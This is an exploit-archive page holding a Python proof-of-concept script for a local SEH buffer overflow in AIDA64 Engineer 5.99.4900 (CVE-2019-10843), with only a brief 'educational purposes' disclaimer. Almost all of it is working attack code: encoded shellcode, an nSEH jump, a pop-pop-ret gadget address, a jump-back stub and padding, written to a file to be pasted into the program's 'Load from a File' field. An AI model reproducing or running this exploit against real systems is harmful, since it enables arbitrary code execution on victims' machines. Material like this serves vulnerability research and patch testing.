Aida64 engineer 5.99.4900 load from file field buffer overflow (seh) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-04 | Type : local | Platform : windows
This exploit / vulnerability Aida64 engineer 5.99.4900 load from file field buffer overflow (seh) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/python

###############################################################################
# Exploit Title: AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)
# Date: 04-04-2019
# Exploit Author: Anurag Srivastava and Vardan Bansal
# Website: www.theanuragsrivastava.in
# Vulnerable Software: AIDA64 Engineer
# Vendor Homepage: http://download.aida64.com/
# Version: 5.99.4900
# Software Link: http://download.aida64.com/aida64engineer599.exe
# Tested On: Windows 7 x64
# CVE: CVE-2019-10843
#
# To reproduce the exploit:
# 1. Click Report
# 2. In the "Load from a File" field, paste the content of hex.txt
#
##############################################################################

buf = ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"


nSEH = "\xeb\xf9\x90\x90"

back = "\xe9\xdc\xfe\xff\xff" # jmp back to start of shellcode
SEH = "\x23\x02\x1c\x01" #pop ebx # pop eax # ret | ascii {PAGE_EXECUTE_READWRITE} [aida64.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.99.4900 (C:\Program Files\FinalWire\AIDA64 Engineer\aida64.exe

buffer = "\x41" * (292-len(buf)-len(back))
padding = "\x42"*(500-292-4-4)
data = buf + buffer + back + nSEH + SEH + padding

f = open ("hex.txt", "w")
f.write(data)
f.close()